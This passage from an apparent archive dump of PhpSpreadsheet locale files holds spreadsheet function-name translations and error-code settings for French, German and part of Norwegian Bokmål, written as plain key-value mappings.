LOI.POISSON.N PROB = PROBABILITE QUARTILE.EXC = QUARTILE.EXCLURE QUARTILE.INC = QUARTILE.INCLURE RANK.AVG = MOYENNE.RANG RANK.EQ = EQUATION.RANG RSQ = COEFFICIENT.DETERMINATION SKEW = COEFFICIENT.ASYMETRIE SKEW.P = COEFFICIENT.ASYMETRIE.P SLOPE = PENTE SMALL = PETITE.VALEUR STANDARDIZE = CENTREE.REDUITE STDEV.P = ECARTYPE.PEARSON STDEV.S = ECARTYPE.STANDARD STDEVA = STDEVA STDEVPA = STDEVPA STEYX = ERREUR.TYPE.XY T.DIST = LOI.STUDENT.N T.DIST.2T = LOI.STUDENT.BILATERALE T.DIST.RT = LOI.STUDENT.DROITE T.INV = LOI.STUDENT.INVERSE.N T.INV.2T = LOI.STUDENT.INVERSE.BILATERALE T.TEST = T.TEST TREND = TENDANCE TRIMMEAN = MOYENNE.REDUITE VAR.P = VAR.P.N VAR.S = VAR.S VARA = VARA VARPA = VARPA WEIBULL.DIST = LOI.WEIBULL.N Z.TEST = Z.TEST ## ## Fonctions de texte (Text Functions) ## BAHTTEXT = BAHTTEXT CHAR = CAR CLEAN = EPURAGE CODE = CODE CONCAT = CONCAT DOLLAR = DEVISE EXACT = EXACT FIND = TROUVE FIXED = CTXT LEFT = GAUCHE LEN = NBCAR LOWER = MINUSCULE MID = STXT NUMBERVALUE = VALEURNOMBRE PHONETIC = PHONETIQUE PROPER = NOMPROPRE REPLACE = REMPLACER REPT = REPT RIGHT = DROITE SEARCH = CHERCHE SUBSTITUTE = SUBSTITUE T = T TEXT = TEXTE TEXTJOIN = JOINDRE.TEXTE TRIM = SUPPRESPACE UNICHAR = UNICAR UNICODE = UNICODE UPPER = MAJUSCULE VALUE = CNUM ## ## Fonctions web (Web Functions) ## ENCODEURL = URLENCODAGE FILTERXML = FILTRE.XML WEBSERVICE = SERVICEWEB ## ## Fonctions de compatibilité (Compatibility Functions) ## BETADIST = LOI.BETA BETAINV = BETA.INVERSE BINOMDIST = LOI.BINOMIALE CEILING = PLAFOND CHIDIST = LOI.KHIDEUX CHIINV = KHIDEUX.INVERSE CHITEST = TEST.KHIDEUX CONCATENATE = CONCATENER CONFIDENCE = INTERVALLE.CONFIANCE COVAR = COVARIANCE CRITBINOM = CRITERE.LOI.BINOMIALE EXPONDIST = LOI.EXPONENTIELLE FDIST = LOI.F FINV = INVERSE.LOI.F FLOOR = PLANCHER FORECAST = PREVISION FTEST = TEST.F GAMMADIST = LOI.GAMMA GAMMAINV = LOI.GAMMA.INVERSE HYPGEOMDIST = LOI.HYPERGEOMETRIQUE LOGINV = LOI.LOGNORMALE.INVERSE LOGNORMDIST = LOI.LOGNORMALE MODE = MODE NEGBINOMDIST = LOI.BINOMIALE.NEG NORMDIST = LOI.NORMALE NORMINV = LOI.NORMALE.INVERSE NORMSDIST = LOI.NORMALE.STANDARD NORMSINV = LOI.NORMALE.STANDARD.INVERSE PERCENTILE = CENTILE PERCENTRANK = RANG.POURCENTAGE POISSON = LOI.POISSON QUARTILE = QUARTILE RANK = RANG STDEV = ECARTYPE STDEVP = ECARTYPEP TDIST = LOI.STUDENT TINV = LOI.STUDENT.INVERSE TTEST = TEST.STUDENT VAR = VAR VARP = VAR.P WEIBULL = LOI.WEIBULL ZTEST = TEST.Z phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/fr/config000064400000000460151676714400022543 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Français (French) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #NUL! DIV0 VALUE = #VALEUR! REF NAME = #NOM? NUM = #NOMBRE! NA phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/de/functions000064400000023633151676714400023276 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Deutsch (German) ## ############################################################ ## ## Cubefunktionen (Cube Functions) ## CUBEKPIMEMBER = CUBEKPIELEMENT CUBEMEMBER = CUBEELEMENT CUBEMEMBERPROPERTY = CUBEELEMENTEIGENSCHAFT CUBERANKEDMEMBER = CUBERANGELEMENT CUBESET = CUBEMENGE CUBESETCOUNT = CUBEMENGENANZAHL CUBEVALUE = CUBEWERT ## ## Datenbankfunktionen (Database Functions) ## DAVERAGE = DBMITTELWERT DCOUNT = DBANZAHL DCOUNTA = DBANZAHL2 DGET = DBAUSZUG DMAX = DBMAX DMIN = DBMIN DPRODUCT = DBPRODUKT DSTDEV = DBSTDABW DSTDEVP = DBSTDABWN DSUM = DBSUMME DVAR = DBVARIANZ DVARP = DBVARIANZEN ## ## Datums- und Uhrzeitfunktionen (Date & Time Functions) ## DATE = DATUM DATEVALUE = DATWERT DAY = TAG DAYS = TAGE DAYS360 = TAGE360 EDATE = EDATUM EOMONTH = MONATSENDE HOUR = STUNDE ISOWEEKNUM = ISOKALENDERWOCHE MINUTE = MINUTE MONTH = MONAT NETWORKDAYS = NETTOARBEITSTAGE NETWORKDAYS.INTL = NETTOARBEITSTAGE.INTL NOW = JETZT SECOND = SEKUNDE THAIDAYOFWEEK = THAIWOCHENTAG THAIMONTHOFYEAR = THAIMONATDESJAHRES THAIYEAR = THAIJAHR TIME = ZEIT TIMEVALUE = ZEITWERT TODAY = HEUTE WEEKDAY = WOCHENTAG WEEKNUM = KALENDERWOCHE WORKDAY = ARBEITSTAG WORKDAY.INTL = ARBEITSTAG.INTL YEAR = JAHR YEARFRAC = BRTEILJAHRE ## ## Technische Funktionen (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BININDEZ BIN2HEX = BININHEX BIN2OCT = BININOKT BITAND = BITUND BITLSHIFT = BITLVERSCHIEB BITOR = BITODER BITRSHIFT = BITRVERSCHIEB BITXOR = BITXODER COMPLEX = KOMPLEXE CONVERT = UMWANDELN DEC2BIN = DEZINBIN DEC2HEX = DEZINHEX DEC2OCT = DEZINOKT DELTA = DELTA ERF = GAUSSFEHLER ERF.PRECISE = GAUSSF.GENAU ERFC = GAUSSFKOMPL ERFC.PRECISE = GAUSSFKOMPL.GENAU GESTEP = GGANZZAHL HEX2BIN = HEXINBIN HEX2DEC = HEXINDEZ HEX2OCT = HEXINOKT IMABS = IMABS IMAGINARY = IMAGINÄRTEIL IMARGUMENT = IMARGUMENT IMCONJUGATE = IMKONJUGIERTE IMCOS = IMCOS IMCOSH = IMCOSHYP IMCOT = IMCOT IMCSC = IMCOSEC IMCSCH = IMCOSECHYP IMDIV = IMDIV IMEXP = IMEXP IMLN = IMLN IMLOG10 = IMLOG10 IMLOG2 = IMLOG2 IMPOWER = IMAPOTENZ IMPRODUCT = IMPRODUKT IMREAL = IMREALTEIL IMSEC = IMSEC IMSECH = IMSECHYP IMSIN = IMSIN IMSINH = IMSINHYP IMSQRT = IMWURZEL IMSUB = IMSUB IMSUM = IMSUMME IMTAN = IMTAN OCT2BIN = OKTINBIN OCT2DEC = OKTINDEZ OCT2HEX = OKTINHEX ## ## Finanzmathematische Funktionen (Financial Functions) ## ACCRINT = AUFGELZINS ACCRINTM = AUFGELZINSF AMORDEGRC = AMORDEGRK AMORLINC = AMORLINEARK COUPDAYBS = ZINSTERMTAGVA COUPDAYS = ZINSTERMTAGE COUPDAYSNC = ZINSTERMTAGNZ COUPNCD = ZINSTERMNZ COUPNUM = ZINSTERMZAHL COUPPCD = ZINSTERMVZ CUMIPMT = KUMZINSZ CUMPRINC = KUMKAPITAL DB = GDA2 DDB = GDA DISC = DISAGIO DOLLARDE = NOTIERUNGDEZ DOLLARFR = NOTIERUNGBRU DURATION = DURATION EFFECT = EFFEKTIV FV = ZW FVSCHEDULE = ZW2 INTRATE = ZINSSATZ IPMT = ZINSZ IRR = IKV ISPMT = ISPMT MDURATION = MDURATION MIRR = QIKV NOMINAL = NOMINAL NPER = ZZR NPV = NBW ODDFPRICE = UNREGER.KURS ODDFYIELD = UNREGER.REND ODDLPRICE = UNREGLE.KURS ODDLYIELD = UNREGLE.REND PDURATION = PDURATION PMT = RMZ PPMT = KAPZ PRICE = KURS PRICEDISC = KURSDISAGIO PRICEMAT = KURSFÄLLIG PV = BW RATE = ZINS RECEIVED = AUSZAHLUNG RRI = ZSATZINVEST SLN = LIA SYD = DIA TBILLEQ = TBILLÄQUIV TBILLPRICE = TBILLKURS TBILLYIELD = TBILLRENDITE VDB = VDB XIRR = XINTZINSFUSS XNPV = XKAPITALWERT YIELD = RENDITE YIELDDISC = RENDITEDIS YIELDMAT = RENDITEFÄLL ## ## Informationsfunktionen (Information Functions) ## CELL = ZELLE ERROR.TYPE = FEHLER.TYP INFO = INFO ISBLANK = ISTLEER ISERR = ISTFEHL ISERROR = ISTFEHLER ISEVEN = ISTGERADE ISFORMULA = ISTFORMEL ISLOGICAL = ISTLOG ISNA = ISTNV ISNONTEXT = ISTKTEXT ISNUMBER = ISTZAHL ISODD = ISTUNGERADE ISREF = ISTBEZUG ISTEXT = ISTTEXT N = N NA = NV SHEET = BLATT SHEETS = BLÄTTER TYPE = TYP ## ## Logische Funktionen (Logical Functions) ## AND = UND FALSE = FALSCH IF = WENN IFERROR = WENNFEHLER IFNA = WENNNV IFS = WENNS NOT = NICHT OR = ODER SWITCH = ERSTERWERT TRUE = WAHR XOR = XODER ## ## Nachschlage- und Verweisfunktionen (Lookup & Reference Functions) ## ADDRESS = ADRESSE AREAS = BEREICHE CHOOSE = WAHL COLUMN = SPALTE COLUMNS = SPALTEN FORMULATEXT = FORMELTEXT GETPIVOTDATA = PIVOTDATENZUORDNEN HLOOKUP = WVERWEIS HYPERLINK = HYPERLINK INDEX = INDEX INDIRECT = INDIREKT LOOKUP = VERWEIS MATCH = VERGLEICH OFFSET = BEREICH.VERSCHIEBEN ROW = ZEILE ROWS = ZEILEN RTD = RTD TRANSPOSE = MTRANS VLOOKUP = SVERWEIS *RC = ZS ## ## Mathematische und trigonometrische Funktionen (Math & Trig Functions) ## ABS = ABS ACOS = ARCCOS ACOSH = ARCCOSHYP ACOT = ARCCOT ACOTH = ARCCOTHYP AGGREGATE = AGGREGAT ARABIC = ARABISCH ASIN = ARCSIN ASINH = ARCSINHYP ATAN = ARCTAN ATAN2 = ARCTAN2 ATANH = ARCTANHYP BASE = BASIS CEILING.MATH = OBERGRENZE.MATHEMATIK CEILING.PRECISE = OBERGRENZE.GENAU COMBIN = KOMBINATIONEN COMBINA = KOMBINATIONEN2 COS = COS COSH = COSHYP COT = COT COTH = COTHYP CSC = COSEC CSCH = COSECHYP DECIMAL = DEZIMAL DEGREES = GRAD ECMA.CEILING = ECMA.OBERGRENZE EVEN = GERADE EXP = EXP FACT = FAKULTÄT FACTDOUBLE = ZWEIFAKULTÄT FLOOR.MATH = UNTERGRENZE.MATHEMATIK FLOOR.PRECISE = UNTERGRENZE.GENAU GCD = GGT INT = GANZZAHL ISO.CEILING = ISO.OBERGRENZE LCM = KGV LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MDET MINVERSE = MINV MMULT = MMULT MOD = REST MROUND = VRUNDEN MULTINOMIAL = POLYNOMIAL MUNIT = MEINHEIT ODD = UNGERADE PI = PI POWER = POTENZ PRODUCT = PRODUKT QUOTIENT = QUOTIENT RADIANS = BOGENMASS RAND = ZUFALLSZAHL RANDBETWEEN = ZUFALLSBEREICH ROMAN = RÖMISCH ROUND = RUNDEN ROUNDBAHTDOWN = RUNDBAHTNED ROUNDBAHTUP = BAHTAUFRUNDEN ROUNDDOWN = ABRUNDEN ROUNDUP = AUFRUNDEN SEC = SEC SECH = SECHYP SERIESSUM = POTENZREIHE SIGN = VORZEICHEN SIN = SIN SINH = SINHYP SQRT = WURZEL SQRTPI = WURZELPI SUBTOTAL = TEILERGEBNIS SUM = SUMME SUMIF = SUMMEWENN SUMIFS = SUMMEWENNS SUMPRODUCT = SUMMENPRODUKT SUMSQ = QUADRATESUMME SUMX2MY2 = SUMMEX2MY2 SUMX2PY2 = SUMMEX2PY2 SUMXMY2 = SUMMEXMY2 TAN = TAN TANH = TANHYP TRUNC = KÜRZEN ## ## Statistische Funktionen (Statistical Functions) ## AVEDEV = MITTELABW AVERAGE = MITTELWERT AVERAGEA = MITTELWERTA AVERAGEIF = MITTELWERTWENN AVERAGEIFS = MITTELWERTWENNS BETA.DIST = BETA.VERT BETA.INV = BETA.INV BINOM.DIST = BINOM.VERT BINOM.DIST.RANGE = BINOM.VERT.BEREICH BINOM.INV = BINOM.INV CHISQ.DIST = CHIQU.VERT CHISQ.DIST.RT = CHIQU.VERT.RE CHISQ.INV = CHIQU.INV CHISQ.INV.RT = CHIQU.INV.RE CHISQ.TEST = CHIQU.TEST CONFIDENCE.NORM = KONFIDENZ.NORM CONFIDENCE.T = KONFIDENZ.T CORREL = KORREL COUNT = ANZAHL COUNTA = ANZAHL2 COUNTBLANK = ANZAHLLEEREZELLEN COUNTIF = ZÄHLENWENN COUNTIFS = ZÄHLENWENNS COVARIANCE.P = KOVARIANZ.P COVARIANCE.S = KOVARIANZ.S DEVSQ = SUMQUADABW EXPON.DIST = EXPON.VERT F.DIST = F.VERT F.DIST.RT = F.VERT.RE F.INV = F.INV F.INV.RT = F.INV.RE F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = PROGNOSE.ETS FORECAST.ETS.CONFINT = PROGNOSE.ETS.KONFINT FORECAST.ETS.SEASONALITY = PROGNOSE.ETS.SAISONALITÄT FORECAST.ETS.STAT = PROGNOSE.ETS.STAT FORECAST.LINEAR = PROGNOSE.LINEAR FREQUENCY = HÄUFIGKEIT GAMMA = GAMMA GAMMA.DIST = GAMMA.VERT GAMMA.INV = GAMMA.INV GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.GENAU GAUSS = GAUSS GEOMEAN = GEOMITTEL GROWTH = VARIATION HARMEAN = HARMITTEL HYPGEOM.DIST = HYPGEOM.VERT INTERCEPT = ACHSENABSCHNITT KURT = KURT LARGE = KGRÖSSTE LINEST = RGP LOGEST = RKP LOGNORM.DIST = LOGNORM.VERT LOGNORM.INV = LOGNORM.INV MAX = MAX MAXA = MAXA MAXIFS = MAXWENNS MEDIAN = MEDIAN MIN = MIN MINA = MINA MINIFS = MINWENNS MODE.MULT = MODUS.VIELF MODE.SNGL = MODUS.EINF NEGBINOM.DIST = NEGBINOM.VERT NORM.DIST = NORM.VERT NORM.INV = NORM.INV NORM.S.DIST = NORM.S.VERT NORM.S.INV = NORM.S.INV PEARSON = PEARSON PERCENTILE.EXC = QUANTIL.EXKL PERCENTILE.INC = QUANTIL.INKL PERCENTRANK.EXC = QUANTILSRANG.EXKL PERCENTRANK.INC = QUANTILSRANG.INKL PERMUT = VARIATIONEN PERMUTATIONA = VARIATIONEN2 PHI = PHI POISSON.DIST = POISSON.VERT PROB = WAHRSCHBEREICH QUARTILE.EXC = QUARTILE.EXKL QUARTILE.INC = QUARTILE.INKL RANK.AVG = RANG.MITTELW RANK.EQ = RANG.GLEICH RSQ = BESTIMMTHEITSMASS SKEW = SCHIEFE SKEW.P = SCHIEFE.P SLOPE = STEIGUNG SMALL = KKLEINSTE STANDARDIZE = STANDARDISIERUNG STDEV.P = STABW.N STDEV.S = STABW.S STDEVA = STABWA STDEVPA = STABWNA STEYX = STFEHLERYX T.DIST = T.VERT T.DIST.2T = T.VERT.2S T.DIST.RT = T.VERT.RE T.INV = T.INV T.INV.2T = T.INV.2S T.TEST = T.TEST TREND = TREND TRIMMEAN = GESTUTZTMITTEL VAR.P = VAR.P VAR.S = VAR.S VARA = VARIANZA VARPA = VARIANZENA WEIBULL.DIST = WEIBULL.VERT Z.TEST = G.TEST ## ## Textfunktionen (Text Functions) ## BAHTTEXT = BAHTTEXT CHAR = ZEICHEN CLEAN = SÄUBERN CODE = CODE CONCAT = TEXTKETTE DOLLAR = DM EXACT = IDENTISCH FIND = FINDEN FIXED = FEST ISTHAIDIGIT = ISTTHAIZAHLENWORT LEFT = LINKS LEN = LÄNGE LOWER = KLEIN MID = TEIL NUMBERVALUE = ZAHLENWERT PROPER = GROSS2 REPLACE = ERSETZEN REPT = WIEDERHOLEN RIGHT = RECHTS SEARCH = SUCHEN SUBSTITUTE = WECHSELN T = T TEXT = TEXT TEXTJOIN = TEXTVERKETTEN THAIDIGIT = THAIZAHLENWORT THAINUMSOUND = THAIZAHLSOUND THAINUMSTRING = THAILANDSKNUMSTRENG THAISTRINGLENGTH = THAIZEICHENFOLGENLÄNGE TRIM = GLÄTTEN UNICHAR = UNIZEICHEN UNICODE = UNICODE UPPER = GROSS VALUE = WERT ## ## Webfunktionen (Web Functions) ## ENCODEURL = URLCODIEREN FILTERXML = XMLFILTERN WEBSERVICE = WEBDIENST ## ## Kompatibilitätsfunktionen (Compatibility Functions) ## BETADIST = BETAVERT BETAINV = BETAINV BINOMDIST = BINOMVERT CEILING = OBERGRENZE CHIDIST = CHIVERT CHIINV = CHIINV CHITEST = CHITEST CONCATENATE = VERKETTEN CONFIDENCE = KONFIDENZ COVAR = KOVAR CRITBINOM = KRITBINOM EXPONDIST = EXPONVERT FDIST = FVERT FINV = FINV FLOOR = UNTERGRENZE FORECAST = SCHÄTZER FTEST = FTEST GAMMADIST = GAMMAVERT GAMMAINV = GAMMAINV HYPGEOMDIST = HYPGEOMVERT LOGINV = LOGINV LOGNORMDIST = LOGNORMVERT MODE = MODALWERT NEGBINOMDIST = NEGBINOMVERT NORMDIST = NORMVERT NORMINV = NORMINV NORMSDIST = STANDNORMVERT NORMSINV = STANDNORMINV PERCENTILE = QUANTIL PERCENTRANK = QUANTILSRANG POISSON = POISSON QUARTILE = QUARTILE RANK = RANG STDEV = STABW STDEVP = STABWN TDIST = TVERT TINV = TINV TTEST = TTEST VAR = VARIANZ VARP = VARIANZEN WEIBULL = WEIBULL ZTEST = GTEST phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/de/config000064400000000452151676714400022525 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Deutsch (German) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL DIV0 VALUE = #WERT! REF = #BEZUG! NAME NUM = #ZAHL! NA = #NV phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/nb/functions000064400000024751151676714400023307 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Norsk Bokmål (Norwegian Bokmål) ## ############################################################ ## ## Kubefunksjoner (Cube Functions) ## CUBEKPIMEMBER = KUBEKPIMEDLEM CUBEMEMBER = KUBEMEDLEM CUBEMEMBERPROPERTY = KUBEMEDLEMEGENSKAP CUBERANKEDMEMBER = KUBERANGERTMEDLEM CUBESET = KUBESETT CUBESETCOUNT = KUBESETTANTALL CUBEVALUE = KUBEVERDI ## ## Databasefunksjoner (Database Functions) ## DAVERAGE = DGJENNOMSNITT DCOUNT = DANTALL DCOUNTA = DANTALLA DGET = DHENT DMAX = DMAKS DMIN = DMIN DPRODUCT = DPRODUKT DSTDEV = DSTDAV DSTDEVP = DSTDAVP DSUM = DSUMMER DVAR = DVARIANS DVARP = DVARIANSP ## ## Dato- og tidsfunksjoner (Date & Time Functions) ## DATE = DATO DATEDIF = DATODIFF DATESTRING = DATOSTRENG DATEVALUE = DATOVERDI DAY = DAG DAYS = DAGER DAYS360 = DAGER360 EDATE = DAG.ETTER EOMONTH = MÅNEDSSLUTT HOUR = TIME ISOWEEKNUM = ISOUKENR MINUTE = MINUTT MONTH = MÅNED NETWORKDAYS = NETT.ARBEIDSDAGER NETWORKDAYS.INTL = NETT.ARBEIDSDAGER.INTL NOW = NÅ SECOND = SEKUND THAIDAYOFWEEK = THAIUKEDAG THAIMONTHOFYEAR = THAIMÅNED THAIYEAR = THAIÅR TIME = TID TIMEVALUE = TIDSVERDI TODAY = IDAG WEEKDAY = UKEDAG WEEKNUM = UKENR WORKDAY = ARBEIDSDAG WORKDAY.INTL = ARBEIDSDAG.INTL YEAR = ÅR YEARFRAC = ÅRDEL ## ## Tekniske funksjoner (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BINTILDES BIN2HEX = BINTILHEKS BIN2OCT = BINTILOKT BITAND = BITOG BITLSHIFT = BITVFORSKYV BITOR = BITELLER BITRSHIFT = BITHFORSKYV BITXOR = BITEKSKLUSIVELLER COMPLEX = KOMPLEKS CONVERT = KONVERTER DEC2BIN = DESTILBIN DEC2HEX = DESTILHEKS DEC2OCT = DESTILOKT DELTA = DELTA ERF = FEILF ERF.PRECISE = FEILF.PRESIS ERFC = FEILFK ERFC.PRECISE = FEILFK.PRESIS GESTEP = GRENSEVERDI HEX2BIN = HEKSTILBIN HEX2DEC = HEKSTILDES HEX2OCT = HEKSTILOKT IMABS = IMABS IMAGINARY = IMAGINÆR IMARGUMENT = IMARGUMENT IMCONJUGATE = IMKONJUGERT IMCOS = IMCOS IMCOSH = IMCOSH IMCOT = IMCOT IMCSC = IMCSC IMCSCH = IMCSCH IMDIV = IMDIV IMEXP = IMEKSP IMLN = IMLN IMLOG10 = IMLOG10 IMLOG2 = IMLOG2 IMPOWER = IMOPPHØY IMPRODUCT = IMPRODUKT IMREAL = IMREELL IMSEC = IMSEC IMSECH = IMSECH IMSIN = IMSIN IMSINH = IMSINH IMSQRT = IMROT IMSUB = IMSUB IMSUM = IMSUMMER IMTAN = IMTAN OCT2BIN = OKTTILBIN OCT2DEC = OKTTILDES OCT2HEX = OKTTILHEKS ## ## Økonomiske funksjoner (Financial Functions) ## ACCRINT = PÅLØPT.PERIODISK.RENTE ACCRINTM = PÅLØPT.FORFALLSRENTE AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = OBLIG.DAGER.FF COUPDAYS = OBLIG.DAGER COUPDAYSNC = OBLIG.DAGER.NF COUPNCD = OBLIG.DAGER.EF COUPNUM = OBLIG.ANTALL COUPPCD = OBLIG.DAG.FORRIGE CUMIPMT = SAMLET.RENTE CUMPRINC = SAMLET.HOVEDSTOL DB = DAVSKR DDB = DEGRAVS DISC = DISKONTERT DOLLARDE = DOLLARDE DOLLARFR = DOLLARBR DURATION = VARIGHET EFFECT = EFFEKTIV.RENTE FV = SLUTTVERDI FVSCHEDULE = SVPLAN INTRATE = RENTESATS IPMT = RAVDRAG IRR = IR ISPMT = ER.AVDRAG MDURATION = MVARIGHET MIRR = MODIR NOMINAL = NOMINELL NPER = PERIODER NPV = NNV ODDFPRICE = AVVIKFP.PRIS ODDFYIELD = AVVIKFP.AVKASTNING ODDLPRICE = AVVIKSP.PRIS ODDLYIELD = AVVIKSP.AVKASTNING PDURATION = PVARIGHET PMT = AVDRAG PPMT = AMORT PRICE = PRIS PRICEDISC = PRIS.DISKONTERT PRICEMAT = PRIS.FORFALL PV = NÅVERDI RATE = RENTE RECEIVED = MOTTATT.AVKAST RRI = REALISERT.AVKASTNING SLN = LINAVS SYD = ÅRSAVS TBILLEQ = TBILLEKV TBILLPRICE = TBILLPRIS TBILLYIELD = TBILLAVKASTNING VDB = VERDIAVS XIRR = XIR XNPV = XNNV YIELD = AVKAST YIELDDISC = AVKAST.DISKONTERT YIELDMAT = AVKAST.FORFALL ## ## Informasjonsfunksjoner (Information Functions) ## CELL = CELLE ERROR.TYPE = FEIL.TYPE INFO = INFO ISBLANK = ERTOM ISERR = ERF ISERROR = ERFEIL ISEVEN = ERPARTALL ISFORMULA = ERFORMEL ISLOGICAL = ERLOGISK ISNA = ERIT ISNONTEXT = ERIKKETEKST ISNUMBER = ERTALL ISODD = ERODDE ISREF = ERREF ISTEXT = ERTEKST N = N NA = IT SHEET = ARK SHEETS = ANTALL.ARK TYPE = VERDITYPE ## ## Logiske funksjoner (Logical Functions) ## AND = OG FALSE = USANN IF = HVIS IFERROR = HVISFEIL IFNA = HVIS.IT IFS = HVIS.SETT NOT = IKKE OR = ELLER SWITCH = BRYTER TRUE = SANN XOR = EKSKLUSIVELLER ## ## Oppslag- og referansefunksjoner (Lookup & Reference Functions) ## ADDRESS = ADRESSE AREAS = OMRÅDER CHOOSE = VELG COLUMN = KOLONNE COLUMNS = KOLONNER FORMULATEXT = FORMELTEKST GETPIVOTDATA = HENTPIVOTDATA HLOOKUP = FINN.KOLONNE HYPERLINK = HYPERKOBLING INDEX = INDEKS INDIRECT = INDIREKTE LOOKUP = SLÅ.OPP MATCH = SAMMENLIGNE OFFSET = FORSKYVNING ROW = RAD ROWS = RADER RTD = RTD TRANSPOSE = TRANSPONER VLOOKUP = FINN.RAD *RC = RK ## ## Matematikk- og trigonometrifunksjoner (Math & Trig Functions) ## ABS = ABS ACOS = ARCCOS ACOSH = ARCCOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = MENGDE ARABIC = ARABISK ASIN = ARCSIN ASINH = ARCSINH ATAN = ARCTAN ATAN2 = ARCTAN2 ATANH = ARCTANH BASE = GRUNNTALL CEILING.MATH = AVRUND.GJELDENDE.MULTIPLUM.OPP.MATEMATISK CEILING.PRECISE = AVRUND.GJELDENDE.MULTIPLUM.PRESIS COMBIN = KOMBINASJON COMBINA = KOMBINASJONA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DESIMAL DEGREES = GRADER ECMA.CEILING = ECMA.AVRUND.GJELDENDE.MULTIPLUM EVEN = AVRUND.TIL.PARTALL EXP = EKSP FACT = FAKULTET FACTDOUBLE = DOBBELFAKT FLOOR.MATH = AVRUND.GJELDENDE.MULTIPLUM.NED.MATEMATISK FLOOR.PRECISE = AVRUND.GJELDENDE.MULTIPLUM.NED.PRESIS GCD = SFF INT = HELTALL ISO.CEILING = ISO.AVRUND.GJELDENDE.MULTIPLUM LCM = MFM LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MDETERM MINVERSE = MINVERS MMULT = MMULT MOD = REST MROUND = MRUND MULTINOMIAL = MULTINOMINELL MUNIT = MENHET ODD = AVRUND.TIL.ODDETALL PI = PI POWER = OPPHØYD.I PRODUCT = PRODUKT QUOTIENT = KVOTIENT RADIANS = RADIANER RAND = TILFELDIG RANDBETWEEN = TILFELDIGMELLOM ROMAN = ROMERTALL ROUND = AVRUND ROUNDBAHTDOWN = RUNDAVBAHTNEDOVER ROUNDBAHTUP = RUNDAVBAHTOPPOVER ROUNDDOWN = AVRUND.NED ROUNDUP = AVRUND.OPP SEC = SEC SECH = SECH SERIESSUM = SUMMER.REKKE SIGN = FORTEGN SIN = SIN SINH = SINH SQRT = ROT SQRTPI = ROTPI SUBTOTAL = DELSUM SUM = SUMMER SUMIF = SUMMERHVIS SUMIFS = SUMMER.HVIS.SETT SUMPRODUCT = SUMMERPRODUKT SUMSQ = SUMMERKVADRAT SUMX2MY2 = SUMMERX2MY2 SUMX2PY2 = SUMMERX2PY2 SUMXMY2 = SUMMERXMY2 TAN = TAN TANH = TANH TRUNC = AVKORT ## ## Statistiske funksjoner (Statistical Functions) ## AVEDEV = GJENNOMSNITTSAVVIK AVERAGE = GJENNOMSNITT AVERAGEA = GJENNOMSNITTA AVERAGEIF = GJENNOMSNITTHVIS AVERAGEIFS = GJENNOMSNITT.HVIS.SETT BETA.DIST = BETA.FORDELING.N BETA.INV = BETA.INV BINOM.DIST = BINOM.FORDELING.N BINOM.DIST.RANGE = BINOM.FORDELING.OMRÅDE BINOM.INV = BINOM.INV CHISQ.DIST = KJIKVADRAT.FORDELING CHISQ.DIST.RT = KJIKVADRAT.FORDELING.H CHISQ.INV = KJIKVADRAT.INV CHISQ.INV.RT = KJIKVADRAT.INV.H CHISQ.TEST = KJIKVADRAT.TEST CONFIDENCE.NORM = KONFIDENS.NORM CONFIDENCE.T = KONFIDENS.T CORREL = KORRELASJON COUNT = ANTALL COUNTA = ANTALLA COUNTBLANK = TELLBLANKE COUNTIF = ANTALL.HVIS COUNTIFS = ANTALL.HVIS.SETT COVARIANCE.P = KOVARIANS.P COVARIANCE.S = KOVARIANS.S DEVSQ = AVVIK.KVADRERT EXPON.DIST = EKSP.FORDELING.N F.DIST = F.FORDELING F.DIST.RT = F.FORDELING.H F.INV = F.INV F.INV.RT = F.INV.H F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = PROGNOSE.ETS FORECAST.ETS.CONFINT = PROGNOSE.ETS.CONFINT FORECAST.ETS.SEASONALITY = PROGNOSE.ETS.SESONGAVHENGIGHET FORECAST.ETS.STAT = PROGNOSE.ETS.STAT FORECAST.LINEAR = PROGNOSE.LINEÆR FREQUENCY = FREKVENS GAMMA = GAMMA GAMMA.DIST = GAMMA.FORDELING GAMMA.INV = GAMMA.INV GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.PRESIS GAUSS = GAUSS GEOMEAN = GJENNOMSNITT.GEOMETRISK GROWTH = VEKST HARMEAN = GJENNOMSNITT.HARMONISK HYPGEOM.DIST = HYPGEOM.FORDELING.N INTERCEPT = SKJÆRINGSPUNKT KURT = KURT LARGE = N.STØRST LINEST = RETTLINJE LOGEST = KURVE LOGNORM.DIST = LOGNORM.FORDELING LOGNORM.INV = LOGNORM.INV MAX = STØRST MAXA = MAKSA MAXIFS = MAKS.HVIS.SETT MEDIAN = MEDIAN MIN = MIN MINA = MINA MINIFS = MIN.HVIS.SETT MODE.MULT = MODUS.MULT MODE.SNGL = MODUS.SNGL NEGBINOM.DIST = NEGBINOM.FORDELING.N NORM.DIST = NORM.FORDELING NORM.INV = NORM.INV NORM.S.DIST = NORM.S.FORDELING NORM.S.INV = NORM.S.INV PEARSON = PEARSON PERCENTILE.EXC = PERSENTIL.EKS PERCENTILE.INC = PERSENTIL.INK PERCENTRANK.EXC = PROSENTDEL.EKS PERCENTRANK.INC = PROSENTDEL.INK PERMUT = PERMUTER PERMUTATIONA = PERMUTASJONA 